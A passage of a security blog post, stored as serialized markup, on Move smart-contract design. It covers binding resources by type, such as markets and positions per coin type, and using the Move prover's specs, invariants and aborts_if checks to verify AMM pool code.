lp",{"type":21,"tag":198,"props":8000,"children":8001},{"style":683},[8002],{"type":27,"value":4286},{"type":21,"tag":198,"props":8004,"children":8005},{"style":698},[8006],{"type":27,"value":8007},"assert_is_lp_store",{"type":21,"tag":198,"props":8009,"children":8010},{"style":211},[8011],{"type":27,"value":8012},"(signer",{"type":21,"tag":198,"props":8014,"children":8015},{"style":683},[8016],{"type":27,"value":4286},{"type":21,"tag":198,"props":8018,"children":8019},{"style":698},[8020],{"type":27,"value":8021},"address_of",{"type":21,"tag":198,"props":8023,"children":8024},{"style":211},[8025],{"type":27,"value":706},{"type":21,"tag":198,"props":8027,"children":8028},{"style":226},[8029],{"type":27,"value":8030},"lp_store",{"type":21,"tag":198,"props":8032,"children":8033},{"style":211},[8034],{"type":27,"value":8035},"));\n",{"type":21,"tag":198,"props":8037,"children":8038},{"class":200,"line":302},[8039],{"type":21,"tag":198,"props":8040,"children":8041},{"emptyLinePlaceholder":16},[8042],{"type":27,"value":1283},{"type":21,"tag":198,"props":8044,"children":8045},{"class":200,"line":323},[8046],{"type":21,"tag":198,"props":8047,"children":8048},{"style":1233},[8049],{"type":27,"value":7408},{"type":21,"tag":198,"props":8051,"children":8052},{"class":200,"line":344},[8053],{"type":21,"tag":198,"props":8054,"children":8055},{"emptyLinePlaceholder":16},[8056],{"type":27,"value":1283},{"type":21,"tag":198,"props":8058,"children":8059},{"class":200,"line":365},[8060,8065,8069,8073,8077,8081,8085,8089],{"type":21,"tag":198,"props":8061,"children":8062},{"style":698},[8063],{"type":27,"value":8064}," move_to",{"type":21,"tag":198,"props":8066,"children":8067},{"style":211},[8068],{"type":27,"value":706},{"type":21,"tag":198,"props":8070,"children":8071},{"style":226},[8072],{"type":27,"value":8030},{"type":21,"tag":198,"props":8074,"children":8075},{"style":211},[8076],{"type":27,"value":828},{"type":21,"tag":198,"props":8078,"children":8079},{"style":1966},[8080],{"type":27,"value":7615},{"type":21,"tag":198,"props":8082,"children":8083},{"style":211},[8084],{"type":27,"value":3159},{"type":21,"tag":198,"props":8086,"children":8087},{"style":1966},[8088],{"type":27,"value":7714},{"type":21,"tag":198,"props":8090,"children":8091},{"style":211},[8092],{"type":27,"value":8093},"> {\n",{"type":21,"tag":198,"props":8095,"children":8096},{"class":200,"line":386},[8097],{"type":21,"tag":198,"props":8098,"children":8099},{"style":1233},[8100],{"type":27,"value":6987},{"type":21,"tag":198,"props":8102,"children":8103},{"class":200,"line":408},[8104],{"type":21,"tag":198,"props":8105,"children":8106},{"style":211},[8107],{"type":27,"value":8108}," });\n",{"type":21,"tag":30,"props":8110,"children":8111},{},[8112],{"type":27,"value":8113},"In both these instances, type association only works because we create exactly one instance per type.",{"type":21,"tag":30,"props":8115,"children":8116},{},[8117,8119,8125,8127,8133,8135,8140],{"type":27,"value":8118},"On the other hand, consider if you have a ",{"type":21,"tag":194,"props":8120,"children":8122},{"className":8121},[],[8123],{"type":27,"value":8124},"Position\u003CT>",{"type":27,"value":8126}," and a ",{"type":21,"tag":194,"props":8128,"children":8130},{"className":8129},[],[8131],{"type":27,"value":8132},"Market\u003CT>",{"type":27,"value":8134}," where ",{"type":21,"tag":194,"props":8136,"children":8138},{"className":8137},[],[8139],{"type":27,"value":6800},{"type":27,"value":8141}," is the coin type.",{"type":21,"tag":187,"props":8143,"children":8145},{"className":3789,"code":8144,"language":3788,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[8146],{"type":21,"tag":194,"props":8147,"children":8148},{"__ignoreMap":7},[8149,8177,8205,8212,8219,8226,8254,8274,8281],{"type":21,"tag":198,"props":8150,"children":8151},{"class":200,"line":201},[8152,8156,8161,8165,8169,8173],{"type":21,"tag":198,"props":8153,"children":8154},{"style":249},[8155],{"type":27,"value":6864},{"type":21,"tag":198,"props":8157,"children":8158},{"style":1966},[8159],{"type":27,"value":8160}," Market",{"type":21,"tag":198,"props":8162,"children":8163},{"style":211},[8164],{"type":27,"value":3159},{"type":21,"tag":198,"props":8166,"children":8167},{"style":226},[8168],{"type":27,"value":6624},{"type":21,"tag":198,"props":8170,"children":8171},{"style":1966},[8172],{"type":27,"value":6731},{"type":21,"tag":198,"props":8174,"children":8175},{"style":211},[8176],{"type":27,"value":8093},{"type":21,"tag":198,"props":8178,"children":8179},{"class":200,"line":217},[8180,8185,8189,8193,8197,8201],{"type":21,"tag":198,"props":8181,"children":8182},{"style":226},[8183],{"type":27,"value":8184}," reserves",{"type":21,"tag":198,"props":8186,"children":8187},{"style":683},[8188],{"type":27,"value":185},{"type":21,"tag":198,"props":8190,"children":8191},{"style":1966},[8192],{"type":27,"value":6615},{"type":21,"tag":198,"props":8194,"children":8195},{"style":211},[8196],{"type":27,"value":3159},{"type":21,"tag":198,"props":8198,"children":8199},{"style":1966},[8200],{"type":27,"value":6800},{"type":21,"tag":198,"props":8202,"children":8203},{"style":211},[8204],{"type":27,"value":6950},{"type":21,"tag":198,"props":8206,"children":8207},{"class":200,"line":236},[8208],{"type":21,"tag":198,"props":8209,"children":8210},{"style":1233},[8211],{"type":27,"value":6987},{"type":21,"tag":198,"props":8213,"children":8214},{"class":200,"line":260},[8215],{"type":21,"tag":198,"props":8216,"children":8217},{"style":211},[8218],{"type":27,"value":880},{"type":21,"tag":198,"props":8220,"children":8221},{"class":200,"line":281},[8222],{"type":21,"tag":198,"props":8223,"children":8224},{"emptyLinePlaceholder":16},[8225],{"type":27,"value":1283},{"type":21,"tag":198,"props":8227,"children":8228},{"class":200,"line":302},[8229,8233,8238,8242,8246,8250],{"type":21,"tag":198,"props":8230,"children":8231},{"style":249},[8232],{"type":27,"value":6864},{"type":21,"tag":198,"props":8234,"children":8235},{"style":1966},[8236],{"type":27,"value":8237}," Position",{"type":21,"tag":198,"props":8239,"children":8240},{"style":211},[8241],{"type":27,"value":3159},{"type":21,"tag":198,"props":8243,"children":8244},{"style":226},[8245],{"type":27,"value":6624},{"type":21,"tag":198,"props":8247,"children":8248},{"style":1966},[8249],{"type":27,"value":6731},{"type":21,"tag":198,"props":8251,"children":8252},{"style":211},[8253],{"type":27,"value":8093},{"type":21,"tag":198,"props":8255,"children":8256},{"class":200,"line":323},[8257,8262,8266,8270],{"type":21,"tag":198,"props":8258,"children":8259},{"style":226},[8260],{"type":27,"value":8261}," amount",{"type":21,"tag":198,"props":8263,"children":8264},{"style":683},[8265],{"type":27,"value":185},{"type":21,"tag":198,"props":8267,"children":8268},{"style":1966},[8269],{"type":27,"value":6673},{"type":21,"tag":198,"props":8271,"children":8272},{"style":211},[8273],{"type":27,"value":257},{"type":21,"tag":198,"props":8275,"children":8276},{"class":200,"line":344},[8277],{"type":21,"tag":198,"props":8278,"children":8279},{"style":1233},[8280],{"type":27,"value":6987},{"type":21,"tag":198,"props":8282,"children":8283},{"class":200,"line":365},[8284],{"type":21,"tag":198,"props":8285,"children":8286},{"style":211},[8287],{"type":27,"value":880},{"type":21,"tag":30,"props":8289,"children":8290},{},[8291,8293,8298,8300,8305],{"type":27,"value":8292},"If ",{"type":21,"tag":194,"props":8294,"children":8296},{"className":8295},[],[8297],{"type":27,"value":8132},{"type":27,"value":8299}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":21,"tag":194,"props":8301,"children":8303},{"className":8302},[],[8304],{"type":27,"value":6800},{"type":27,"value":8306}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":21,"tag":30,"props":8308,"children":8309},{},[8310],{"type":27,"value":8311},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":21,"tag":187,"props":8313,"children":8315},{"className":3789,"code":8314,"language":3788,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[8316],{"type":21,"tag":194,"props":8317,"children":8318},{"__ignoreMap":7},[8319,8327,8389,8438,8490,8515,8527,8548,8556,8569],{"type":21,"tag":198,"props":8320,"children":8321},{"class":200,"line":201},[8322],{"type":21,"tag":198,"props":8323,"children":8324},{"style":1233},[8325],{"type":27,"value":8326}," /// Get the price of the token per lamport.\n",{"type":21,"tag":198,"props":8328,"children":8329},{"class":200,"line":217},[8330,8335,8339,8344,8348,8353,8357,8362,8366,8370,8375,8380,8385],{"type":21,"tag":198,"props":8331,"children":8332},{"style":226},[8333],{"type":27,"value":8334}," public",{"type":21,"tag":198,"props":8336,"children":8337},{"style":226},[8338],{"type":27,"value":7019},{"type":21,"tag":198,"props":8340,"children":8341},{"style":698},[8342],{"type":27,"value":8343}," get_price",{"type":21,"tag":198,"props":8345,"children":8346},{"style":211},[8347],{"type":27,"value":706},{"type":21,"tag":198,"props":8349,"children":8350},{"style":226},[8351],{"type":27,"value":8352},"type_info",{"type":21,"tag":198,"props":8354,"children":8355},{"style":683},[8356],{"type":27,"value":185},{"type":21,"tag":198,"props":8358,"children":8359},{"style":1966},[8360],{"type":27,"value":8361}," TypeInfo",{"type":21,"tag":198,"props":8363,"children":8364},{"style":211},[8365],{"type":27,"value":2109},{"type":21,"tag":198,"props":8367,"children":8368},{"style":683},[8369],{"type":27,"value":185},{"type":21,"tag":198,"props":8371,"children":8372},{"style":1966},[8373],{"type":27,"value":8374}," Decimal",{"type":21,"tag":198,"props":8376,"children":8377},{"style":226},[8378],{"type":27,"value":8379}," acquires",{"type":21,"tag":198,"props":8381,"children":8382},{"style":1966},[8383],{"type":27,"value":8384}," Oracle",{"type":21,"tag":198,"props":8386,"children":8387},{"style":211},[8388],{"type":27,"value":233},{"type":21,"tag":198,"props":8390,"children":8391},{"class":200,"line":236},[8392,8396,8401,8405,8410,8414,8419,8424,8429,8434],{"type":21,"tag":198,"props":8393,"children":8394},{"style":249},[8395],{"type":27,"value":3873},{"type":21,"tag":198,"props":8397,"children":8398},{"style":226},[8399],{"type":27,"value":8400}," oracle",{"type":21,"tag":198,"props":8402,"children":8403},{"style":683},[8404],{"type":27,"value":979},{"type":21,"tag":198,"props":8406,"children":8407},{"style":226},[8408],{"type":27,"value":8409}," borrow_global_mut",{"type":21,"tag":198,"props":8411,"children":8412},{"style":211},[8413],{"type":27,"value":3159},{"type":21,"tag":198,"props":8415,"children":8416},{"style":1966},[8417],{"type":27,"value":8418},"Oracle",{"type":21,"tag":198,"props":8420,"children":8421},{"style":211},[8422],{"type":27,"value":8423},">(",{"type":21,"tag":198,"props":8425,"children":8426},{"style":683},[8427],{"type":27,"value":8428},"@",{"type":21,"tag":198,"props":8430,"children":8431},{"style":226},[8432],{"type":27,"value":8433},"oracle",{"type":21,"tag":198,"props":8435,"children":8436},{"style":211},[8437],{"type":27,"value":1470},{"type":21,"tag":198,"props":8439,"children":8440},{"class":200,"line":260},[8441,8445,8450,8454,8459,8463,8468,8472,8477,8481,8486],{"type":21,"tag":198,"props":8442,"children":8443},{"style":249},[8444],{"type":27,"value":3873},{"type":21,"tag":198,"props":8446,"children":8447},{"style":226},[8448],{"type":27,"value":8449}," price",{"type":21,"tag":198,"props":8451,"children":8452},{"style":683},[8453],{"type":27,"value":979},{"type":21,"tag":198,"props":8455,"children":8456},{"style":211},[8457],{"type":27,"value":8458}," table",{"type":21,"tag":198,"props":8460,"children":8461},{"style":683},[8462],{"type":27,"value":4286},{"type":21,"tag":198,"props":8464,"children":8465},{"style":226},[8466],{"type":27,"value":8467},"borrow_mut_with_default",{"type":21,"tag":198,"props":8469,"children":8470},{"style":211},[8471],{"type":27,"value":3159},{"type":21,"tag":198,"props":8473,"children":8474},{"style":1966},[8475],{"type":27,"value":8476},"TypeInfo",{"type":21,"tag":198,"props":8478,"children":8479},{"style":211},[8480],{"type":27,"value":828},{"type":21,"tag":198,"props":8482,"children":8483},{"style":1966},[8484],{"type":27,"value":8485},"Decimal",{"type":21,"tag":198,"props":8487,"children":8488},{"style":211},[8489],{"type":27,"value":7400},{"type":21,"tag":198,"props":8491,"children":8492},{"class":200,"line":281},[8493,8498,8502,8506,8510],{"type":21,"tag":198,"props":8494,"children":8495},{"style":683},[8496],{"type":27,"value":8497}," &",{"type":21,"tag":198,"props":8499,"children":8500},{"style":249},[8501],{"type":27,"value":4530},{"type":21,"tag":198,"props":8503,"children":8504},{"style":226},[8505],{"type":27,"value":8400},{"type":21,"tag":198,"props":8507,"children":8508},{"style":683},[8509],{"type":27,"value":658},{"type":21,"tag":198,"props":8511,"children":8512},{"style":211},[8513],{"type":27,"value":8514},"prices,\n",{"type":21,"tag":198,"props":8516,"children":8517},{"class":200,"line":302},[8518,8523],{"type":21,"tag":198,"props":8519,"children":8520},{"style":226},[8521],{"type":27,"value":8522}," type_info",{"type":21,"tag":198,"props":8524,"children":8525},{"style":211},[8526],{"type":27,"value":257},{"type":21,"tag":198,"props":8528,"children":8529},{"class":200,"line":323},[8530,8535,8539,8544],{"type":21,"tag":198,"props":8531,"children":8532},{"style":211},[8533],{"type":27,"value":8534}," decimal",{"type":21,"tag":198,"props":8536,"children":8537},{"style":683},[8538],{"type":27,"value":4286},{"type":21,"tag":198,"props":8540,"children":8541},{"style":698},[8542],{"type":27,"value":8543},"one",{"type":21,"tag":198,"props":8545,"children":8546},{"style":211},[8547],{"type":27,"value":1837},{"type":21,"tag":198,"props":8549,"children":8550},{"class":200,"line":344},[8551],{"type":21,"tag":198,"props":8552,"children":8553},{"style":211},[8554],{"type":27,"value":8555}," );\n",{"type":21,"tag":198,"props":8557,"children":8558},{"class":200,"line":365},[8559,8564],{"type":21,"tag":198,"props":8560,"children":8561},{"style":683},[8562],{"type":27,"value":8563}," *",{"type":21,"tag":198,"props":8565,"children":8566},{"style":226},[8567],{"type":27,"value":8568},"price\n",{"type":21,"tag":198,"props":8570,"children":8571},{"class":200,"line":386},[8572],{"type":21,"tag":198,"props":8573,"children":8574},{"style":211},[8575],{"type":27,"value":880},{"type":21,"tag":30,"props":8577,"children":8578},{},[8579,8581,8586],{"type":27,"value":8580},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":21,"tag":1671,"props":8582,"children":8583},{},[8584],{"type":27,"value":8585},"instance",{"type":27,"value":8587}," of another resource (which is possible in Diem style move).",{"type":21,"tag":30,"props":8589,"children":8590},{},[8591],{"type":27,"value":8592},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":21,"tag":71,"props":8594,"children":8595},{},[8596,8601],{"type":21,"tag":75,"props":8597,"children":8598},{},[8599],{"type":27,"value":8600},"Have unique initializers for your resources",{"type":21,"tag":75,"props":8602,"children":8603},{},[8604],{"type":27,"value":8605},"Associate resources with instances directly",{"type":21,"tag":22,"props":8607,"children":8609},{"id":8608},"formal-verification",[8610],{"type":27,"value":8611},"Formal Verification",{"type":21,"tag":30,"props":8613,"children":8614},{},[8615],{"type":27,"value":8616},"Formal verification is another exciting feature.",{"type":21,"tag":30,"props":8618,"children":8619},{},[8620],{"type":27,"value":8621},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":21,"tag":30,"props":8623,"children":8624},{},[8625,8627,8632],{"type":27,"value":8626},"However, this isn't a silver bullet. The key is figuring out ",{"type":21,"tag":1671,"props":8628,"children":8629},{},[8630],{"type":27,"value":8631},"what",{"type":27,"value":8633}," to prove.",{"type":21,"tag":30,"props":8635,"children":8636},{},[8637,8639,8646],{"type":27,"value":8638},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":21,"tag":34,"props":8640,"children":8643},{"href":8641,"rel":8642},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[38],[8644],{"type":27,"value":8645},"Solana AMM rounding issue",{"type":27,"value":8647}," we reported.",{"type":21,"tag":30,"props":8649,"children":8650},{},[8651],{"type":27,"value":8652},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":21,"tag":187,"props":8654,"children":8656},{"className":3789,"code":8655,"language":3788,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[8657],{"type":21,"tag":194,"props":8658,"children":8659},{"__ignoreMap":7},[8660,8720],{"type":21,"tag":198,"props":8661,"children":8662},{"class":200,"line":201},[8663,8667,8672,8676,8681,8685,8690,8694,8698,8703,8707,8711,8716],{"type":21,"tag":198,"props":8664,"children":8665},{"style":249},[8666],{"type":27,"value":1023},{"type":21,"tag":198,"props":8668,"children":8669},{"style":226},[8670],{"type":27,"value":8671}," cmp",{"type":21,"tag":198,"props":8673,"children":8674},{"style":683},[8675],{"type":27,"value":979},{"type":21,"tag":198,"props":8677,"children":8678},{"style":211},[8679],{"type":27,"value":8680}," u256",{"type":21,"tag":198,"props":8682,"children":8683},{"style":683},[8684],{"type":27,"value":4286},{"type":21,"tag":198,"props":8686,"children":8687},{"style":698},[8688],{"type":27,"value":8689},"compare",{"type":21,"tag":198,"props":8691,"children":8692},{"style":211},[8693],{"type":27,"value":706},{"type":21,"tag":198,"props":8695,"children":8696},{"style":683},[8697],{"type":27,"value":3917},{"type":21,"tag":198,"props":8699,"children":8700},{"style":226},[8701],{"type":27,"value":8702},"lp_value_after_swap_and_fee",{"type":21,"tag":198,"props":8704,"children":8705},{"style":211},[8706],{"type":27,"value":828},{"type":21,"tag":198,"props":8708,"children":8709},{"style":683},[8710],{"type":27,"value":3917},{"type":21,"tag":198,"props":8712,"children":8713},{"style":226},[8714],{"type":27,"value":8715},"lp_value_before_swap_u256",{"type":21,"tag":198,"props":8717,"children":8718},{"style":211},[8719],{"type":27,"value":1470},{"type":21,"tag":198,"props":8721,"children":8722},{"class":200,"line":217},[8723,8728,8732,8737,8741,8746],{"type":21,"tag":198,"props":8724,"children":8725},{"style":698},[8726],{"type":27,"value":8727}," assert!",{"type":21,"tag":198,"props":8729,"children":8730},{"style":211},[8731],{"type":27,"value":706},{"type":21,"tag":198,"props":8733,"children":8734},{"style":226},[8735],{"type":27,"value":8736},"cmp",{"type":21,"tag":198,"props":8738,"children":8739},{"style":683},[8740],{"type":27,"value":4089},{"type":21,"tag":198,"props":8742,"children":8743},{"style":2540},[8744],{"type":27,"value":8745}," 2",{"type":21,"tag":198,"props":8747,"children":8748},{"style":211},[8749],{"type":27,"value":8750},", ERR_INCORRECT_SWAP);\n",{"type":21,"tag":30,"props":8752,"children":8753},{},[8754,8756,8761],{"type":27,"value":8755},"The move prover really shines when we're proving relationships ",{"type":21,"tag":1671,"props":8757,"children":8758},{},[8759],{"type":27,"value":8760},"between",{"type":27,"value":8762}," functions.",{"type":21,"tag":30,"props":8764,"children":8765},{},[8766,8768,8774],{"type":27,"value":8767},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":21,"tag":194,"props":8769,"children":8771},{"className":8770},[],[8772],{"type":27,"value":8773},"no_free_money_theorem",{"type":27,"value":8775}," in the move repository.",{"type":21,"tag":187,"props":8777,"children":8779},{"className":3789,"code":8778,"language":3788,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[8780],{"type":21,"tag":194,"props":8781,"children":8782},{"__ignoreMap":7},[8783,8791,8879,8921,8942,8949,8965,8990,9017,9042],{"type":21,"tag":198,"props":8784,"children":8785},{"class":200,"line":201},[8786],{"type":21,"tag":198,"props":8787,"children":8788},{"style":1233},[8789],{"type":27,"value":8790}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":21,"tag":198,"props":8792,"children":8793},{"class":200,"line":217},[8794,8798,8803,8807,8812,8816,8820,8824,8829,8833,8837,8841,8845,8849,8854,8858,8862,8866,8870,8875],{"type":21,"tag":198,"props":8795,"children":8796},{"style":226},[8797],{"type":27,"value":7381},{"type":21,"tag":198,"props":8799,"children":8800},{"style":698},[8801],{"type":27,"value":8802}," no_free_money_theorem",{"type":21,"tag":198,"props":8804,"children":8805},{"style":211},[8806],{"type":27,"value":706},{"type":21,"tag":198,"props":8808,"children":8809},{"style":226},[8810],{"type":27,"value":8811},"coin1_in",{"type":21,"tag":198,"props":8813,"children":8814},{"style":683},[8815],{"type":27,"value":185},{"type":21,"tag":198,"props":8817,"children":8818},{"style":1966},[8819],{"type":27,"value":6673},{"type":21,"tag":198,"props":8821,"children":8822},{"style":211},[8823],{"type":27,"value":828},{"type":21,"tag":198,"props":8825,"children":8826},{"style":226},[8827],{"type":27,"value":8828},"coin2_in",{"type":21,"tag":198,"props":8830,"children":8831},{"style":683},[8832],{"type":27,"value":185},{"type":21,"tag":198,"props":8834,"children":8835},{"style":1966},[8836],{"type":27,"value":6673},{"type":21,"tag":198,"props":8838,"children":8839},{"style":211},[8840],{"type":27,"value":2109},{"type":21,"tag":198,"props":8842,"children":8843},{"style":683},[8844],{"type":27,"value":185},{"type":21,"tag":198,"props":8846,"children":8847},{"style":211},[8848],{"type":27,"value":648},{"type":21,"tag":198,"props":8850,"children":8851},{"style":1966},[8852],{"type":27,"value":8853},"u64",{"type":21,"tag":198,"props":8855,"children":8856},{"style":211},[8857],{"type":27,"value":828},{"type":21,"tag":198,"props":8859,"children":8860},{"style":1966},[8861],{"type":27,"value":8853},{"type":21,"tag":198,"props":8863,"children":8864},{"style":211},[8865],{"type":27,"value":1541},{"type":21,"tag":198,"props":8867,"children":8868},{"style":226},[8869],{"type":27,"value":7156},{"type":21,"tag":198,"props":8871,"children":8872},{"style":1966},[8873],{"type":27,"value":8874}," Pool",{"type":21,"tag":198,"props":8876,"children":8877},{"style":211},[8878],{"type":27,"value":233},{"type":21,"tag":198,"props":8880,"children":8881},{"class":200,"line":236},[8882,8887,8892,8896,8901,8905,8909,8913,8917],{"type":21,"tag":198,"props":8883,"children":8884},{"style":249},[8885],{"type":27,"value":8886}," let",{"type":21,"tag":198,"props":8888,"children":8889},{"style":226},[8890],{"type":27,"value":8891}," share",{"type":21,"tag":198,"props":8893,"children":8894},{"style":683},[8895],{"type":27,"value":979},{"type":21,"tag":198,"props":8897,"children":8898},{"style":698},[8899],{"type":27,"value":8900}," add_liquidity",{"type":21,"tag":198,"props":8902,"children":8903},{"style":211},[8904],{"type":27,"value":706},{"type":21,"tag":198,"props":8906,"children":8907},{"style":226},[8908],{"type":27,"value":8811},{"type":21,"tag":198,"props":8910,"children":8911},{"style":211},[8912],{"type":27,"value":828},{"type":21,"tag":198,"props":8914,"children":8915},{"style":226},[8916],{"type":27,"value":8828},{"type":21,"tag":198,"props":8918,"children":8919},{"style":211},[8920],{"type":27,"value":1470},{"type":21,"tag":198,"props":8922,"children":8923},{"class":200,"line":260},[8924,8929,8933,8938],{"type":21,"tag":198,"props":8925,"children":8926},{"style":698},[8927],{"type":27,"value":8928}," remove_liquidity",{"type":21,"tag":198,"props":8930,"children":8931},{"style":211},[8932],{"type":27,"value":706},{"type":21,"tag":198,"props":8934,"children":8935},{"style":226},[8936],{"type":27,"value":8937},"share",{"type":21,"tag":198,"props":8939,"children":8940},{"style":211},[8941],{"type":27,"value":789},{"type":21,"tag":198,"props":8943,"children":8944},{"class":200,"line":281},[8945],{"type":21,"tag":198,"props":8946,"children":8947},{"style":211},[8948],{"type":27,"value":2249},{"type":21,"tag":198,"props":8950,"children":8951},{"class":200,"line":302},[8952,8957,8961],{"type":21,"tag":198,"props":8953,"children":8954},{"style":226},[8955],{"type":27,"value":8956}," spec",{"type":21,"tag":198,"props":8958,"children":8959},{"style":226},[8960],{"type":27,"value":8802},{"type":21,"tag":198,"props":8962,"children":8963},{"style":211},[8964],{"type":27,"value":233},{"type":21,"tag":198,"props":8966,"children":8967},{"class":200,"line":323},[8968,8973,8978,8982,8986],{"type":21,"tag":198,"props":8969,"children":8970},{"style":226},[8971],{"type":27,"value":8972}," pragma",{"type":21,"tag":198,"props":8974,"children":8975},{"style":226},[8976],{"type":27,"value":8977}," verify",{"type":21,"tag":198,"props":8979,"children":8980},{"style":683},[8981],{"type":27,"value":3174},{"type":21,"tag":198,"props":8983,"children":8984},{"style":249},[8985],{"type":27,"value":3264},{"type":21,"tag":198,"props":8987,"children":8988},{"style":211},[8989],{"type":27,"value":1483},{"type":21,"tag":198,"props":8991,"children":8992},{"class":200,"line":344},[8993,8998,9003,9008,9013],{"type":21,"tag":198,"props":8994,"children":8995},{"style":226},[8996],{"type":27,"value":8997}," ensures",{"type":21,"tag":198,"props":8999,"children":9000},{"style":226},[9001],{"type":27,"value":9002}," result_1",{"type":21,"tag":198,"props":9004,"children":9005},{"style":683},[9006],{"type":27,"value":9007}," \u003C=",{"type":21,"tag":198,"props":9009,"children":9010},{"style":226},[9011],{"type":27,"value":9012}," coin1_in",{"type":21,"tag":198,"props":9014,"children":9015},{"style":211},[9016],{"type":27,"value":1483},{"type":21,"tag":198,"props":9018,"children":9019},{"class":200,"line":365},[9020,9024,9029,9033,9038],{"type":21,"tag":198,"props":9021,"children":9022},{"style":226},[9023],{"type":27,"value":8997},{"type":21,"tag":198,"props":9025,"children":9026},{"style":226},[9027],{"type":27,"value":9028}," result_2",{"type":21,"tag":198,"props":9030,"children":9031},{"style":683},[9032],{"type":27,"value":9007},{"type":21,"tag":198,"props":9034,"children":9035},{"style":226},[9036],{"type":27,"value":9037}," coin2_in",{"type":21,"tag":198,"props":9039,"children":9040},{"style":211},[9041],{"type":27,"value":1483},{"type":21,"tag":198,"props":9043,"children":9044},{"class":200,"line":386},[9045],{"type":21,"tag":198,"props":9046,"children":9047},{"style":211},[9048],{"type":27,"value":2249},{"type":21,"tag":30,"props":9050,"children":9051},{},[9052],{"type":27,"value":9053},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":21,"tag":30,"props":9055,"children":9056},{},[9057,9059,9064],{"type":27,"value":9058},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":21,"tag":1671,"props":9060,"children":9061},{},[9062],{"type":27,"value":9063},"lot",{"type":27,"value":9065}," easier to reason about the protocol.",{"type":21,"tag":30,"props":9067,"children":9068},{},[9069],{"type":27,"value":9070},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":21,"tag":187,"props":9072,"children":9074},{"className":3789,"code":9073,"language":3788,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[9075],{"type":21,"tag":194,"props":9076,"children":9077},{"__ignoreMap":7},[9078,9095,9118],{"type":21,"tag":198,"props":9079,"children":9080},{"class":200,"line":201},[9081,9086,9091],{"type":21,"tag":198,"props":9082,"children":9083},{"style":226},[9084],{"type":27,"value":9085},"spec",{"type":21,"tag":198,"props":9087,"children":9088},{"style":1966},[9089],{"type":27,"value":9090}," PoolState",{"type":21,"tag":198,"props":9092,"children":9093},{"style":211},[9094],{"type":27,"value":233},{"type":21,"tag":198,"props":9096,"children":9097},{"class":200,"line":217},[9098,9103,9108,9113],{"type":21,"tag":198,"props":9099,"children":9100},{"style":226},[9101],{"type":27,"value":9102}," invariant",{"type":21,"tag":198,"props":9104,"children":9105},{"style":226},[9106],{"type":27,"value":9107}," supply",{"type":21,"tag":198,"props":9109,"children":9110},{"style":683},[9111],{"type":27,"value":9112}," >=",{"type":21,"tag":198,"props":9114,"children":9115},{"style":211},[9116],{"type":27,"value":9117}," MINIMUM_LIQUIDITY;\n",{"type":21,"tag":198,"props":9119,"children":9120},{"class":200,"line":236},[9121],{"type":21,"tag":198,"props":9122,"children":9123},{"style":211},[9124],{"type":27,"value":1120},{"type":21,"tag":30,"props":9126,"children":9127},{},[9128,9130,9136,9138,9144],{"type":27,"value":9129},"Another useful pattern for the Move prover is ",{"type":21,"tag":194,"props":9131,"children":9133},{"className":9132},[],[9134],{"type":27,"value":9135},"aborts_if",{"type":27,"value":9137},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":21,"tag":194,"props":9139,"children":9141},{"className":9140},[],[9142],{"type":27,"value":9143},"aborts_if false",{"type":27,"value":658},{"type":21,"tag":30,"props":9146,"children":9147},{},[9148],{"type":27,"value":9149},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":21,"tag":187,"props":9151,"children":9153},{"className":3789,"code":9152,"language":3788,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n 